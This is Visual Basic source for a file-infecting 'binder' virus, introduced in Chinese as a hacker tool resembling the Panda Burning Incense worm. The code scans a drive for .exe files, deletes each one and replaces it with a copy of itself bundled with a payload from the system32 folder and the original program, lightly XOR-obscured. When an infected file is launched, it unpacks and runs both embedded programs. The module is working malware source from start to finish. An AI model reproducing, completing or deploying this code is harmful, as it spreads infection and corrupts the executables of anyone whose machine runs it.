捆绑.bas

黑客 破环exe 文件、修改图标 类似熊猫烧香

Attribute VB_Name = "Module1"
Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Const SW_SHOWNORMAL = 1
Dim FileName1 As String
Dim FileName2 As String
Dim FileDestination As String
Dim StringPlace As Long
Dim p, ss As Integer
Dim qqw As Integer
Dim wenjianpath(10000) As String

Dim FilePath As String



Sub Bangding()
Dim pp As String
Dim shu As Integer
   
Dim FileContent() As Byte
Dim FileNum As Integer

   StringPlace = 0
   
   qqw = 0
  
   pp = App.Path
   Findfile

If Right(App.Path, 1) = "\" Then
   FilePath = App.Path
Else
   FilePath = App.Path & "\"
End If

FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
'Open "c:\1.exe" For Binary As FileNum
ReDim FileContent(FileLen(FilePath & App.EXEName & ".exe") - 1)
'ReDim FileContent(FileLen("c:\1.exe") - 1)
Get FileNum, , FileContent
Close FileNum
'查找"VbExeFileBind"
StringPlace = InStrRev(StrConv(FileContent, vbUnicode), "VbExeFileBind")
If StringPlace <> 0 Then
   'Debug.Print "此文件已经捆绑过！"
   Call SplitFileAndRun(FileContent)
   
   End
Else
   'Debug.Print "此文件未被捆绑！"
  
End If
FileName1 = "C:\WINDOWS\system32\windd.exe"
For shu = 1 To qqw
   FileName2 = wenjianpath(shu - 1)
   FileDestination = wenjianpath(shu - 1)
   Bind
Next
End
End Sub
Private Sub Bind()
'On Error GoTo ERR
Dim fileN As String
'获取当前的完整路径
Dim FileNum As Integer
Dim FileContent1() As Byte: Dim FileContent2() As Byte: Dim FileContent3() As Byte
Dim Iiiii As Integer: Dim Sssss As String
Dim Mename As String
'读入本程序可执行文件内容
Mename = App.EXEName


FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
ReDim FileContent1(FileLen(FilePath & App.EXEName & ".exe") - 1)
Get FileNum, , FileContent1
Close FileNum
'读入第一个可执行文件内容
FileNum = FreeFile()
Open FileName1 For Binary As FileNum
ReDim FileContent2(FileLen(FileName1) - 1)
Get FileNum, , FileContent2
For Iiiii = 1 To 200 Step 1
    Sssss = FileContent2(Iiiii - 1) Xor 99
    FileContent2(Iiiii - 1) = Sssss
Next
Close FileNum
'读入第二个可执行文件内容
FileNum = FreeFile()
Open FileName2 For Binary As FileNum
ReDim FileContent3(FileLen(FileName2) - 1)
Get FileNum, , FileContent3
For Iiiii = 1 To 200 Step 1
    Sssss = FileContent3(Iiiii - 1) Xor 99
    FileContent3(Iiiii - 1) = Sssss
Next
Close FileNum
'将本程序、第一个文件和第二个文件写入新文件

fileN = Trim(Mename) & "|||" & Trim(Str(FileLen(FilePath & Mename & ".exe"))) & "//\\" & _
                Mid(Right(Trim(FileName1), Len(Trim(FileName1)) - InStrRev(Trim(FileName1), "\")), 1, InStr(1, LCase(Right(Trim(FileName1), Len(Trim(FileName1)) - InStrRev(Trim(FileName1), "\"))), ".exe") - 1) & "|||" & Trim(Str(FileLen(FileName1))) & "//\\" & _
                Mid(Right(Trim(FileName2), Len(Trim(FileName2)) - InStrRev(Trim(FileName2), "\")), 1, InStr(1, LCase(Right(Trim(FileName2), Len(Trim(FileName2)) - InStrRev(Trim(FileName2), "\"))), ".exe") - 1) & "|||" & Trim(Str(FileLen(FileName2))) & "//\\"


Kill (FileDestination)

FileNum = FreeFile()
Open FileDestination For Binary As FileNum
Put #FileNum, , FileContent1
Put #FileNum, , FileContent2
Put #FileNum, , FileContent3
Put #FileNum, , "VbExeFileBind"
Put #FileNum, , fileN
Close #FileNum
Dim ii As Integer
For ii = 1 To Len(Trim(App.EXEName) & ".exe") Step 1
    'Debug.Print Asc(Mid(Trim(App.EXEName) & ".exe", ii, 1))
Next ii

End Sub

'查找所有EXE文件
Private Sub guo(aa As String)
   Dim a As Integer
   Dim list(100) As String
         File.Path = aa
         Dir1.Path = aa
         list(0) = Dir1.ListCount
         
         For a = 1 To list(0)
         list(a) = Dir1.list(a - 1)
         Next
          If File.ListCount <> 0 Then
             xieru (aa)
           End If
     If list(0) <> 0 Then
         
         For a = 1 To list(0)
            aa = list(a)
              guo (aa)
            Next
      End If
    End Sub

Private Sub xieru(dizhi As String)
    Dim i, p As Integer
    Dim linshi As String
  
       
       File.Path = dizhi
          If File.ListCount <> 0 Then
              For r = 0 To File.ListCount - 1
                     
                  If Right(File.list(r), 4) = ".exe" Then
                       linshi = File.list(r)
                       For p = 1 To Len(File.list(r))
                          If Mid(File.list(r), p, 1) = "." Then
                            linshi = Left(File.list(r), p - 1)
                          End If
                        Next
                
                      shifou = True
                      i = 1
                     While (i <= Len(linshi))
                         If Asc(Mid(linshi, i, 1)) < 32 Or Asc(Mid(linshi, i, 1)) > 127 Then   '判断文件名是否为中文  是中文则 shifou=false
                            shifou = False
                          End If
                           i = i + 1
                      Wend
                
                
                    If shifou Then                                                                       '如果不为中文
                
                      If Right(File.Path, 1) <> "\" Then
                        wenjianpath(qqw) = File.Path + "\" + File.list(r)
                      Else
                        wenjianpath(qqw) = File.Path + File.list(r)
                      End If
                  
                     qqw = qqw + 1
                    End If
                   
                  End If
                
                
                Next
                  
          End If
    
End Sub

Private Sub Findfile()
For t = 3 To 3
D.Drive = D.list(t)
Dir1.Path = D.Drive
guo (Dir1.Path)
Next
End Sub

Sub SplitFileAndRun(FileContent() As Byte)
Dim Arr() As String '定义存放文件组信息的字符串数组
Dim Arr1() As String '定义存放文件信息的字符串数组
Dim FN(2, 1) As String
Dim StringToEof As String '定义存放标志字符后至文件尾部的字符变量
StringToEof = Mid(StrConv(FileContent, vbUnicode), StringPlace + 17) '获取标志字符后至文件尾部的字符
Arr = Split(StringToEof, "//\\") '以“//\\”拆分文件组信息的字符串数组
'调试输出文件相关信息
Dim i As Integer: Dim n As Integer
For i = LBound(Arr) To UBound(Arr) Step 1
    If Arr(i) <> "" Then
       Arr1 = Split(Arr(i), "|||") '以“|||”拆分文件组信息的字符串数组
       For n = LBound(Arr1) To UBound(Arr1) Step 1
           If Arr1(n) <> "" Then
              FN(i, n) = Trim(Arr1(n))
              'Debug.Print "**" & FN(i, n) & "**"
           End If
       Next n
    End If
Next i
'获取当前的完整路径
Dim FilePath As String
If Right(App.Path, 1) = "\" Then
   FilePath = App.Path
Else
   FilePath = App.Path & "\"
End If
'定义读写文件需要的变量
Dim Iiiii As Integer: Dim Mmmmm As String
Dim FileContent1() As Byte
Dim FileNum As Integer
On Error Resume Next
'读取被捆绑的第一个文件
FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
'Open "c:\1.exe" For Binary As FileNum
ReDim FileContent1(Val(FN(1, 1)) - 1)
Get FileNum, Val(FN(0, 1)) + 1, FileContent1
For Iiiii = 1 To 200 Step 1
    Mmmmm = CByte(FileContent1(Iiiii - 1)) Xor 99
    FileContent1(Iiiii - 1) = Mmmmm
Next
Close FileNum
'判断文件是否存在
If (FN(1, 0) = App.EXEName) Then
     FN(1, 0) = "win1"
 End If
If Dir(FilePath & FN(1, 0) & ".exe") <> "" Then Kill FN(1, 0) & ".exe"
'将读取到的被捆绑的第一个文件写入新文件
FileNum = FreeFile()
Open FilePath & FN(1, 0) & ".exe" For Binary As FileNum
Put #FileNum, , FileContent1
Close #FileNum
'读取被捆绑的第二个文件
FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
'Open "c:\1.exe" For Binary As FileNum
ReDim FileContent1(Val(FN(2, 1)) - 1)
Get FileNum, Val(FN(0, 1)) + Val(FN(1, 1)) + 1, FileContent1
For Iiiii = 1 To 200 Step 1
    Mmmmm = CByte(FileContent1(Iiiii - 1)) Xor 99
    FileContent1(Iiiii - 1) = Mmmmm
Next
Close FileNum
'判断文件是否存在
If (FN(2, 0) = App.EXEName) Then
     FN(2, 0) = "win2"
 End If
If Dir(FilePath & FN(2, 0) & ".exe") <> "" Then Kill FN(2, 0) & ".exe"
'将读取到的被捆绑的第二个文件写入新文件
FileNum = FreeFile()
Open FilePath & FN(2, 0) & ".exe" For Binary As FileNum
Put #FileNum, , FileContent1
Close #FileNum
'如果存在则执行两个新生成的文件
If Dir(FilePath & FN(1, 0) & ".exe") <> "" Then
   Call Shell(FilePath & FN(1, 0) & ".exe", SW_SHOWNORMAL)
End If
If Dir(FilePath & FN(2, 0) & ".exe") <> "" Then
   Call Shell(FilePath & FN(2, 0) & ".exe", SW_SHOWNORMAL)
End If


End Sub